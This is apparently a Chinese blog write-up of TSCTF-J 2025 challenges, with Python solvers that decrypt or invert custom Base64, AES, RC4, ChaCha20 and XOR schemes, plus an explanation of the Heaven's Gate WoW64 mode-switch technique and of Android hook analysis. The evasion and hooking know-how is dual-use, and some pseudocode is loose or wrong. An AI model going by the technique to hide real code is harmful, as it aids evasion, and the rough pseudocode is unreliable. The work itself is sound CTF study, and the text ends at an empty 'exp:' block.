可以看到原流程,把 flag 逐字符转成 8 位二进制 ,组成张量后,依次经过 conv1、conv2、linear、conv3,最后写成 ciphertext.txt。

因为 conv1 权重是 [1,2;4,8] 且 conv2 只有 0.5 的权重、正偏置,ReLU 永远不会把值裁掉,相当于把每 4 位二进制压成一个 0–15 的整数之后线性放大,对应关系可以反推。

关键是 model.pth 内已经存了所有权重,用 unzip + 伪造 torch 模块即可用 pickle 读出,再用 numpy 分别逆向:先从 ciphertext.txt 里减去 conv3.bias,按照卷积公式顺序解开 2×2 卷积;得到的 58×58 矩阵 reshape 成向量,减去 linear.bias,利用 np.linalg.lstsq 求解线性方程组拿回 conv2 的输出。

最后把线性层输出还原到 0–15 之间的数字,再根据 [1,2,4,8] 的系数拆回每 4 位二进制,合并为 flag 字符。整个过程就是顺序逆操作 + 线性求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import zipfile, pickle, types, sys, io
import numpy as np

torch = types.ModuleType('torch')
sys.modules['torch'] = torch

class FloatStorage:
def __init__(self, size=0):
self.size = size

torch.FloatStorage = FloatStorage
utils = types.ModuleType('torch._utils')
sys.modules['torch._utils'] = utils

def default_stride(size):
acc = 1
strides = []
for s in reversed(size):
strides.insert(0, acc)
acc *= s
return tuple(strides)

class StorageWrapper:
def __init__(self, array):
self.array = array

class TensorWrapper:
def __init__(self, array):
self.array = array

def _rebuild_tensor_v2(storage_obj, storage_offset, size, stride, *_):
size = tuple(size)
stride = tuple(stride)
base = storage_obj.array
off = storage_offset
count = int(np.prod(size, dtype=int))
if stride == default_stride(size):
arr = base[off:off + count].reshape(size).copy()
else:
byte_strides = tuple(s * base.dtype.itemsize for s in stride)
arr = np.lib.stride_tricks.as_strided(base[off:], shape=size, strides=byte_strides).copy()
return TensorWrapper(arr)

utils._rebuild_tensor_v2 = _rebuild_tensor_v2

storages = {}
zf = zipfile.ZipFile('model.pth', 'r')

class MyUnpickler(pickle.Unpickler):
def persistent_load(self, pid):
kind, _, key, _, _ = pid
if kind != 'storage':
raise RuntimeError('unexpected persistent object')
if key not in storages:
raw = zf.read(f'model/data/{key}')
arr = np.frombuffer(raw, dtype='<f4').copy()
storages[key] = StorageWrapper(arr)
return storages[key]

with zf.open('model/data.pkl', 'r') as f:
state_dict = MyUnpickler(io.BytesIO(f.read())).load()

params = {k: v.array for k, v in state_dict.items()}
conv1_w = params['conv1.weight'][0, 0]
conv1_b = params['conv1.bias'][0]
conv2_w = params['conv2.weight'][0, 0, 0, 0]
conv2_b = params['conv2.bias'][0]
linear_w = params['linear.weight']
linear_b = params['linear.bias']
conv3_b = params['conv3.bias'][0]

grid = []
with open('ciphertext.txt') as f:
for line in f:
line = line.strip()
if line:
grid.append([float(x) for x in line.split()])
Y = np.array(grid, dtype=np.float64)
n = Y.shape[0] - 1 # 59 -> n=58

A = np.zeros((n, n), dtype=np.float64)
Yp = Y - conv3_b
for i in range(n):
for j in range(n):
val = Yp[i, j]
if i > 0 and j > 0:
val += 6 * A[i - 1, j - 1]
if i > 0:
val -= 2 * A[i - 1, j]
if j > 0:
val -= 3 * A[i, j - 1]
A[i, j] = val / 9.0

# 反线性
v = A.reshape(-1)
rhs = v - linear_b
u, *_ = np.linalg.lstsq(linear_w, rhs, rcond=None)

bias = conv2_w * conv1_b + conv2_b
bits = np.zeros(4 * n, dtype=int)
for j in range(n):
val = int(round((u[j] - bias) / conv2_w))
val = max(0, min(15, val))
b0, b1, b2, b3 = val & 1, (val >> 1) & 1, (val >> 2) & 1, (val >> 3) & 1
bits[2 * j] = b0
bits[2 * j + 1] = b1
bits[2 * n + 2 * j] = b2
bits[2 * n + 2 * j + 1] = b3

# 输出flag
chars = []
for k in range(0, bits.size, 8):
byte = 0
for bit in bits[k:k + 8]:
byte = (byte << 1) | bit
chars.append(chr(byte))
print(''.join(chars))

TSCTF-J{NotReverseButInverse}

Re

这部分的话,主要第二天没时间做,又不想熬夜,最后pyd应该是有了大概的方向,xxtea,魔改了delta? 轮数可能不太一样,还需要动调,没时间做了,主要那个scratch3做了五个小时(纯属我眼瞎了)…

Singin

逻辑很清晰,有个换表base64

image-20251013111123283

image-20251013111219947

image-20251013111527189

通过确定性置换对Base64字母表进行打乱

签到题,值得注意的有一个字节是重合的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def permute_alphabet(alphabet):
alphabet = list(alphabet)
for idx in range(64):
swap_idx = (7 * idx + 5) % 64
alphabet[idx], alphabet[swap_idx] = alphabet[swap_idx], alphabet[idx]
return ''.join(alphabet)


def custom_base64(plain, alphabet):
encoded = bytearray()
bit_buffer = 0
bits_remaining = -6
for byte in plain:
bit_buffer = (bit_buffer << 8) + byte
bits_remaining += 8
while bits_remaining >= 0:
index = (bit_buffer >> bits_remaining) & 0x3F
encoded.append(ord(alphabet[index]))
bits_remaining -= 6
if bits_remaining >= -5:
index = (bit_buffer << 8 >> (bits_remaining + 8)) & 0x3F
encoded.append(ord(alphabet[index]))
while len(encoded) % 4 != 0:
encoded.append(ord('='))
return bytes(encoded)


def build_target():
buf = bytearray(40)
buf[0:8] = (0x3D13023261347C23).to_bytes(8, 'little')
buf[8:16] = (0x143402370D641267).to_bytes(8, 'little')
buf[15:23] = (0x347024692B7A0314).to_bytes(8, 'little') # 坑在这里哦
buf[23:31] = (0x284202766B703261).to_bytes(8, 'little')
return bytes(buf[:31])


def main():
alphabet = permute_alphabet("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
keystream = custom_base64(b"WelcomeToTSCTF", alphabet)
target = build_target()
repeat = (keystream * ((len(target) + len(keystream) - 1) // len(keystream)))[:len(target)]
flag = bytes(k ^ t for k, t in zip(repeat, target))
print(flag.decode())

if __name__ == "__main__":
main()

TSCTF-J{We1c@me_t0_TS_CTF_2025}

CryDancing

ios逆向

解压到本地IDA打开

objective

AES加密,挺清晰的

会把输入框里的字符串,做 AES-128-CBC 加密并转成 Base64,再与内置串比较决定弹窗内容。

image-20251013113221461

image-20251013113320124

枚举 “ABCDEFGHIJKLMNOPQRSTUVWXYZ” 的所有 4 位组合,找到 MD5 为 674040176a34f6c994003fe85badfc48 的候选,结果是 NOTD。

image-20251013114030136

加密时把 NOTD 重复四次得到 16 字节密钥,IV 为 0x00000177(小端存放在首 4 字节)其余补 0,共 16 字节;AES-128-CBC + PKCS#7 padding。

CCCrypt就是AES哦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from itertools import product
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

TARGET_MD5 = "674040176a34f6c994003fe85badfc48"
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
CIPHERTEXT_B64 = "bvOaEEh1F5pDkMpM6n5src+Jym4ineiRvbWRIidoLHD1KGuRk8vyRsDpQ4XGYtNKnQDvFBEnG3DsCDGqJ8Xv8g=="

def derive_key_fragment():
for combo in product(ALPHABET, repeat=4):
candidate = ''.join(combo)
if hashlib.md5(candidate.encode()).hexdigest() == TARGET_MD5:
return candidate
return 0

def decrypt_flag(cipher_b64, key_fragment):
full_key = (key_fragment * 4).encode()
iv = bytes([0x77, 0x01, 0x00, 0x00] + [0x00] * 12)
cipher_bytes = b64decode(cipher_b64)
cipher = AES.new(full_key, AES.MODE_CBC, iv)
plain = unpad(cipher.decrypt(cipher_bytes), AES.block_size)
return plain.decode()

def main():
key_fragment = derive_key_fragment()
flag = decrypt_flag(CIPHERTEXT_B64, key_fragment)
print(f"key: {key_fragment}")
print(f"flag: {flag}")


if __name__ == "__main__":
main()

TSCTF-J{S0rry_th3_4nswer_h4s_n0thing_2_do_with_l7rics}

听绿的秘密

对图像进行了加密,Secret.obf明显是混淆过了,看了下loader确认加密

image-20251011150828847

1
2
3
4
5
6
7
8
9
with open("Secret.obf", "rb") as f:
obf_bytes = f.read()

class_bytes = bytes((b - 7) & 0xFF for b in obf_bytes)

with open("Secret.class", "wb") as f:
f.write(class_bytes)

print("done")

image-20251011150940318

再写逆向算法即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pathlib import Path

def rotate_right(value, shift):
return ((value >> shift) | ((value << (8 - shift)) & 0xFF)) & 0xFF

def decrypt(input_path, output_path) :
data = bytearray(input_path.read_bytes())

state = 123
for index, cipher in enumerate(data):
rotation = (index + state) % 8
if rotation == 0:
transformed = cipher
else:
transformed = rotate_right(cipher, rotation)
plain = (transformed - ((index % 251) + state)) & 0xFF
data[index] = plain
state = (state + cipher + 37) & 0xFF

output_path.write_bytes(data)

def main():
input_path = Path("Where_is_my_cat.png")
output_path = Path("Cat_decrypted3.png")
decrypt(input_path, output_path)

if __name__ == "__main__":
main()

image-20251011151224682

Handler’s Whisper

看着没啥问题,其实会有个除0异常

image-20251011151700663

image-20251011151754527

之后就是RC4解密了

image-20251011151838075

注意然后对每个字节执行位重排:((c & 0x03) << 6) | ((c & 0x0C) << 2) | ((c & 0xF0) >> 4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
enc = bytes([
0x7f, 0x74, 0x6d, 0x32, 0x18, 0x70, 0x1e, 0x5e,
0x64, 0x3c, 0xdc, 0xdf, 0xaf, 0xae, 0xa6, 0x3a,
0xcd, 0xe3, 0x69, 0x41, 0xb9, 0xa2, 0x2f, 0xcd,
0x17, 0xea, 0x1d, 0x80, 0x70, 0xfc, 0x58, 0xe4,
0xad, 0xf0, 0x92, 0xcf, 0xe2, 0x37
])
KEY = b"secret"

def inv_permute(byte_val):
return ((byte_val & 0x0F) << 4) | (((byte_val >> 4) & 0x03) << 2) | ((byte_val >> 6) & 0x03)

def rc4_keystream(key, count):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = j = 0
for _ in range(count):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
yield s[(s[i] + s[j]) & 0xFF]

def decrypt():
stream = rc4_keystream(KEY, len(enc))
return bytes(((inv_permute(b) - k) & 0xFF) ^ 0x44 for b, k in zip(enc, stream))

if __name__ == "__main__":
print(decrypt().decode())

TSCTF-J{SEH_C@11b@ck_sp3@k$_w!th_RC4!}

哭泣之子

这个卡了挺久 我还以为是misc呢…… 看了眼瞎过了一遍没看到主逻辑,直接去看解码器了,后面看了下各个脚本的修改时间不大对,都是好几年前的,逻辑肯定在Cryingchild.dll里

exe没有主逻辑,主逻辑托管给了Cringchild.dll

Crying.dll中

image-20251011152548879

image-20251011152617413

追这个WaveOutEvent

image-20251011152500623

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array3 = [
871, 1654, 789, 1617, 1221, 2173, 871, 1724, 629, 1111,
789, 1664, 783, 1579, 989, 1633, 1229, 2148, 891, 1703,
1237, 2249, 1229, 2161, 1157, 2095, 1237, 2201, 1243, 2166,
789, 1604, 941, 1669, 813, 1651, 845, 1633, 807, 1645,
941, 1673, 971, 1863, 941, 1648, 789, 1620, 941, 1659,
1255, 2157, 1167, 2121, 941, 1647, 807, 1662, 845, 1634,
1243, 2165, 813, 1650, 941, 1676, 813, 1697, 783, 1589,
941, 1654, 1167, 2097, 1255, 2157, 941, 1673, 789, 1597,
941, 1655, 941, 1653, 813, 1673, 789, 1598, 891, 1735,
941, 1600, 629, 1076, 891, 1728, 603, 1008, 389, 827
]

flag_bytes = []
for i in range(0, 100, 2):
newA, newB = array3[i], array3[i + 1]
for a in range(256):
num2 = ((a << 3) & 0xFFFFFFFF) ^ 83
newA_calc = ((num2 + a) ^ (a + 72)) & 0xFFFFFFFF
if newA_calc != newA:
continue
val = (newB - newA) & 0xFFFFFFFF
b = num2 ^ val
if 0 <= b < 256:
flag_bytes.extend([a, b])
break

flag = bytes(flag_bytes).decode('ascii')
print(flag)

TSCTF-J{3f619a0b_Would_you_say_that_someone_who_had_every_intention_to_be_brave_was_a_coward?_81dd64f3}

天堂之门

可以直接看,之前做DubheCTF的时候做到过类似的题,这题算是弱化版吧

DubheCTF-Destination&Moon | Clovershrub

这个Dubhe和SUS都出过类似的题刚好做过

也可以看我的DubheCTF 2024 re 复现 | Matriy’s blog

天堂之门技术简述:

x64下的进程,不管是32位或者是64位,实际上都映射了两个地址空间,一个是32位,一个是64位,相当于一个进程的两种工作模式。

解释:在64位的操作系统上,32位的应用程序并不能直接在64位环境下运行。为了使32位程序可以正常运行,操作系统提供了一个称为WoW64(Windows on Windows 64-bit)的子系统。WoW64 子系统相当于一个兼容层,专门为32位程序提供了类似32位的运行环境。

他们之间的关键区别在于cs段寄存器。

64位:CS = 0x33 32位:CS = 0x23

Windows判别位的方式,是根据cs段寄存器的,所以只要修改cs的值,就能实现切换,再使用retf指令回到xx位。

image-20251013132901694

0x401720 的 main 中,通过 get_image_base() 拿到模块基址,接着在 0x40180C 初始化 rc4_state,for循环里执行 memcpy(&rc4_state[64 * i], Src, 0x40u),做 4 次。因为 Src 就是 PE 镜像开头(DOS 头),每次拷贝 0x40 字节,四次拼起来正好 256 字节,这就是 RC4 状态数组的来源。

get_image_base里的三次 memcpy 把 NtCurrentPeb()->Ldr 结构一路走链表:先取 PEB->Ldr,再取 Ldr->InMemoryOrderModuleList.Flink。这是标准的 PEB 遍历流程,返回的就是当前模块的装载基址,也就是 DOS/PE 头所在的地址。

做的时候没有调试,上面这个猜也能猜到,虽然我是静态出的

如果调试也行:

image-20251013143506165

此时 EAX 就是 Src 的值,也就是当前模块的装载基址。右键 EAX → Follow in Dump,Dump 窗口会直接显示该地址的内存内容;可以看到开头是 4D 5A … 的 DOS 头

main读取 40 字符输入,复制 PE 头首 0x40 字节 4 次到 256 字节状态,调用 rc4_transform 做 RC4 变换,再把结果与 0x405000 处的10 个 dword 比较

这里我提供两种分析方式

静态分析

image-20251013163703598

这段所有的提取出来

有几种方式发现逻辑

1
2
3
4
5
6
7
8
9
10
11
stub_bytes = [
0x6A, 0x33, 0x68, 0x78, 0x56, 0x34, 0x12, 0xCB, 0x56, 0x57, 0x48, 0xBE,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC0, 0x45, 0x33, 0xC9, 0x41, 0xFE,
0xC0, 0x42, 0x0F, 0xB6, 0x04, 0x07, 0x41, 0x00, 0xC1, 0x42, 0x8A, 0x14,
0x0F, 0x42, 0x88, 0x14, 0x07, 0x42, 0x88, 0x04, 0x0F, 0x42, 0x0F, 0xB6,
0x04, 0x07, 0x42, 0x02, 0x04, 0x0F, 0x40, 0x0F, 0xB6, 0x04, 0x07, 0x30,
0x06, 0x48, 0xFF, 0xC6, 0xE2, 0xD4, 0x5F, 0x5E, 0x6A, 0x23, 0x68, 0x78,
0x56, 0x34, 0x12, 0x48, 0xCB, 0xC3
]
  1. 丢给chatgpt

  2. Online x86 and x64 Intel Instruction Assembler

    手搓

    image-20251013164527419

  3. patch到一个新文件

    image-20251013164612347

  4. patch到IDA打开的文件的某个可用地址

    image-20251013165126021

动态分析

动调然后对

image-20251013165208241

下断点分析

image-20251011154341441

heavens_gate_thread 与 wow64_gate_probe transition 只是维持门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pathlib import Path

def rc4_keystream(state: bytearray, length: int):
i = j = 0
for _ in range(length):
i = (i + 1) & 0xFF
j = (j + state[i]) & 0xFF
state[i], state[j] = state[j], state[i]
yield state[(state[i] + state[j]) & 0xFF]

def main():
pe = Path("heaven.exe").read_bytes()
state = bytearray(pe[:0x40] * 4)
print(state)

cipher = bytes([
0x0E, 0xEB, 0xFB, 0xC4, 0xD6, 0x60, 0x07, 0x7B, 0x57, 0x25,
0x79, 0x74, 0x5F, 0x34, 0x12, 0x57, 0x30, 0x23, 0x29, 0x7E,
0x3F, 0x2B, 0x38, 0x7C, 0x12, 0x2A, 0x79, 0x39, 0x08, 0x12,
0x69, 0x75, 0x7F, 0x7B, 0x7E, 0x2B, 0x2F, 0x28, 0x2C, 0x30,
])

flag_bytes = bytes(c ^ k for c, k in zip(cipher, rc4_keystream(state, len(cipher))))
print(flag_bytes.decode())

if __name__ == "__main__":
main()

TSCTF-J{Wh4t_4_W0nd3rfu1_g4tE_$8263fbea}

GrilHook

我是静态出的,但是出题人可能希望考察hook,或者加了反调,识别特征啥的,后面有时间再补

支持一下插件:Lynnette177/GirlHook: GirlHook is a Lua-scriptable ART hook framework designed for dynamic method interception and gadget-level instrumentation on Android. G.I.R.L. stands for Gadget-Injection Runtime for Lua, highlighting its modular native core and script-driven flexibility. GirlHook是一个轻量化的运行LUA脚本的Android Hook框架

点点star 0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.lynnette.girlhook;

import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import kotlin.text.Typography;

/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
static {
System.loadLibrary("girlhook");
}

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
if (getSupportActionBar() != null) {
getSupportActionBar().hide();
}
setContentView(C0860R.layout.activity_main);
}

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, android.app.Activity
public void onDestroy() {
super.onDestroy();
}

private boolean check_if_correct(String str) {
char[] cArr = {171, 205};
// [255, 158, 232, 153, 237, 224, 225, 182, 195, 162, 220, 146, 223, 162, 244, 165, 196, 162, 192, 146, 194, 163, 244, 140, 249, 153, 148, 176]
char[] cArr2 = {255, 158, 232, 153, 237, 224, 225, Typography.paragraph, 195, Typography.cent, 220, 146, 223, Typography.cent, 244, 165, 196, Typography.cent, 192, 146, 194, Typography.pound, 244, 140, 249, 153, 148, Typography.degree};
if (str.length() != 28) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (((char) (str.charAt(i) ^ cArr[i % 2])) != cArr2[i]) {
return false;
}
}
return true;
}

public boolean check_again(String str) {
return str.equals("AmQTDHd7fy5CIAQyRUokVD1RJ3VlJFM4WTE+CBcn");
}

public void onVerifyClick(View view) {
String obj = ((EditText) findViewById(C0860R.C0863id.input_text)).getText().toString();
if (!check_if_correct(obj) ? check_again(obj) : true) {
Toast.makeText(this, "正确!", 0).show();
} else {
Toast.makeText(this, "错误", 0).show();
}
}
}

这是jadx打开后,非常简单,题目是hook这个肯定不对,直接看so层

打开就能看到waht_is,一看就非常眼熟,chacha20

怎么看出来的?可以看我的CTF逆向常见加密算法总结 | Matriy’s blog函数开头把四个字常量依次写进状态数组:0x61707865、0x3320646E、0x79622D32、0x6B206574

image-20251013170901380

initial_global里调用了这个方法,去动态的hook修改方法功能

image-20251011155602338

image-20251011155708244

本来想hook的,看到chacha20感觉不太复杂看看能不能直接出

找到secret

image-20251011155956801

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import struct
from pathlib import Path

SO_PATH = Path("libgirlhook.so")
SECRET_FILE_OFFSET = 0x18CC40
SECRET_SIZE = 1436
KEY = b"youareclosetoit_youareclosetoit_"
NONCE = b"continueabcd"
INITIAL_COUNTER = 1


def rotl32(value: int, shift: int) -> int:
value &= 0xFFFFFFFF
return ((value << shift) & 0xFFFFFFFF) | (value >> (32 - shift))


def quarter_round(state, a, b, c, d):
state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]
state[d] = rotl32(state[d], 16)

state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]
state[b] = rotl32(state[b], 12)

state[a] = (state[a] + state[b]) & 0xFFFFFFFF
state[d] ^= state[a]
state[d] = rotl32(state[d], 8)

state[c] = (state[c] + state[d]) & 0xFFFFFFFF
state[b] ^= state[c]
state[b] = rotl32(state[b], 7)


def chacha20_block(key_words, counter, nonce_words):
state = [
0x61707865, 0x3320646E, 0x79622D32, 0x6B206574,
*key_words,
counter,
*nonce_words
]

working = state.copy()
for _ in range(10):
quarter_round(working, 0, 4, 8, 12)
quarter_round(working, 1, 5, 9, 13)
quarter_round(working, 2, 6, 10, 14)
quarter_round(working, 3, 7, 11, 15)

quarter_round(working, 0, 5, 10, 15)
quarter_round(working, 1, 6, 11, 12)
quarter_round(working, 2, 7, 8, 13)
quarter_round(working, 3, 4, 9, 14)

return b"".join(
struct.pack("<I", (working[i] + state[i]) & 0xFFFFFFFF)
for i in range(16)
)


def chacha20_decrypt(ciphertext: bytes, key: bytes, nonce: bytes, counter: int) -> bytes:
key_words = struct.unpack("<8I", key)
nonce_words = struct.unpack("<3I", nonce)

plaintext = bytearray()
block_counter = counter

for offset in range(0, len(ciphertext), 64):
keystream_block = chacha20_block(key_words, block_counter, nonce_words)
block_counter = (block_counter + 1) & 0xFFFFFFFF
chunk = ciphertext[offset:offset + 64]
plaintext.extend(c ^ k for c, k in zip(chunk, keystream_block))

return bytes(plaintext)


def main():
so_bytes = SO_PATH.read_bytes()
secret = so_bytes[SECRET_FILE_OFFSET:SECRET_FILE_OFFSET + SECRET_SIZE]

lua_plain = chacha20_decrypt(secret, KEY, NONCE, INITIAL_COUNTER)
Path("decrypted_lua.lua").write_bytes(lua_plain)
print(f"完成:decrypted_lua.lua ({len(lua_plain)} 字节)")


if __name__ == "__main__":
main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
local function xor_byte(a, b)
local result = 0
for i = 0, 7 do
local x = a % 2
local y = b % 2
result = result + ((x ~ y) << i)
a = math.floor(a / 2)
b = math.floor(b / 2)
end
return result
end

function xor_encrypt(str, key)
local result = {}
for i = 1, #str do
local c = string.byte(str, i)
c = (c + 1) % 255
local k = string.byte(key, (i - 1) % #key + 1)
result[i] = string.char(xor_byte(c, k))
end
return table.concat(result)
end

-- base64 encode
local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
function base64_encode(data)
return ((data:gsub('.', function(x)
local r,bits='',string.byte(x)
for i=8,1,-1 do r=r..(bits % 2^i - bits % 2^(i-1) > 0 and '1' or '0') end
return r
end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
if #x < 6 then return '' end
local c=0
for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end
return b:sub(c+1,c+1)
end)..({ '', '==', '=' })[#data % 3 + 1])
end

function encrypt(plain, key)
return base64_encode(xor_encrypt(plain, key))
end

function func_enter(args)
local strobj = args[1]
local str = getJavaStringContent(strobj)
local encrypted = encrypt(str, "W0WY0U4R3S0G00D2F1NDTH3K3Y")
local e1 = createJavaString(strobj, encrypted)
args[1] = e1
return true, args, 0
end
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import base64

FAKE_B64 = "AmQTDHd7fy5CIAQyRUokVD1RJ3VlJFM4WTE+CBcn"
KEY = b"W0WY0U4R3S0G00D2F1NDTH3K3Y"

def xor_byte(a, b):
r = 0
for i in range(8):
r |= ((a & 1) ^ (b & 1)) << i
a >>= 1
b >>= 1
return r


def decrypt(fake_b64, key_bytes):
cipher = base64.b64decode(fake_b64)
plain = bytearray()
for i, c in enumerate(cipher):
k = key_bytes[i % len(key_bytes)]
t = xor_byte(c, k)
p = (t - 1) % 255 # 逆向 “加 1 再取模 255” 的操作
plain.append(p)
return plain.decode("ascii")


if __name__ == "__main__":
real_flag = decrypt(FAKE_B64, KEY)
print(real_flag)

TSCTF-J{pr3tty_ez_h00k_righ7?}

Catbits

第二天上了一上午一下午的课,看了下思路偏了

解压出来有个json

image-20251013173158574

纯手搓了一下午,分析对象之间的调用关系,还真给我分析出来了

有个nibble swap:((x & 0xF) << 4) | ((x >> 4) & 0xF)

arc_bravo[i] = after_charlie[i] XOR arc_bravo[i-1]

和idx[i] = arc_bravo[i] - (i+1)

可能有个索引表qrazybox

最后写了个解密算法

出了

1
TSCTF-J{F`'*catcatPL~3` catcatcatcatJ catcat!*H}

包错的,第二天晚上突然看了下,发现

image-20251013173525557

每个角色都能点……

根本不用分析json T.T

这题其实就注意广播就行,还有细心点

image-20251013174639309

第三天做,感觉半小时能搞定结果,搞了四五个小时…

因为死活找不到Toko

image-20251013173648870

在这找到了最后

整理下逻辑

写了个超级伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
orc = []
src = [211,71,210,132,193,114,244,208,213,99,37,214,224,101,98,212,224,118] #从1开始
arc = [] # 长度为实际存储的 + 1,从1 开始
# 输入的往列表orc里存,从1开始
# 初始化arc
# 循环 arc
qrazybox = ['catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', 'catcat', '{', '|', '}', '~']
ind3x = 1
index1 = 2
arc[0] = 114
orc = input
for ind3x in range(1,len(orc) + 1):
t1 = 0
index = 1
while t1 = 1:
if qrazybox[index] = orc[ind3x]:
t1 = 1
ret = index
else:
index = index + 1
if index > len(qrazybox):
ret = ???
t1 = 1
if ret !=???:
arc.append[ret]
orc[ind3x] = qrazybox[ret]
else:
ar = ?
print("Nonono")

ar = ind3x
inde3x = 1
index1 = 2

for i in range(index1,len(arc)+ 1):
b1 = arc[i]
k = b1 + i
if k > 255:
bm = k - 255
else:
bm = k
arc[i] = bm

index1 = 2
for i in range(index1,len(arc)+ 1):
cr = 0
c1 = 四舍五入(arc[i])
c2 = 四舍五入(arc[i - 1])
c5 = 1
while c1 == 0 && c2 ==0:
c3 = c1除以2的余数
c4 = c2除以2的余数
c6 = (c3 + c4) 除以2的余数
cr = cr + c5 * c6
c1 = 向下取整(c1/2)
c2 = 向下取整(c2/2)
c5 = c5 * 2

arc[i] = cr

index1 = 1
for i in range(index1,len(arc)+ 1):
deltaa = 四舍五入(arc[i])
deltab = (deltaa除以16的余数)
deltac = deltab * 16
delta_ret = deltac
ea = 四舍五入(arc[i])
ei = (ea除以16的余数)
eu = ea - ei
ee = 向下取整(eu/16)
e_ret = ee
f1 = delta_ret
f2 = e_ret
cha_ret = 0
cha1 = 四舍五入(f1)
cha2 = 四舍五入(f2)
cha5 = 1
while cha1 == 0 && cha2 ==0:
cha3 = cha1除以2的余数
cha4 = cha2除以2的余数
if cha3 ==1 或 cha4 == 1:
cha6 = 1
else:
cha6 = 0
char = char + cha5 * cha6
cha1 = 向下取整(cha1/2)
cha2 = 向下取整(cha2/2)
cha5 = cha5 * 2
arc[i] = char

index1 = 2
if len(src) != len(arc) -1:
print("Nonono")
else:
for i in range(index1,len(arc) + 1):
if arc[i] != src[i - 1]:
print("Nonono")
print("你过关")

跟之前的json对照了下得到主逻辑,挺简单的差不多

结果又卡住了

没有注意到初始值是2

image-20251013173921845

exp:

1
2
3
4
5
6
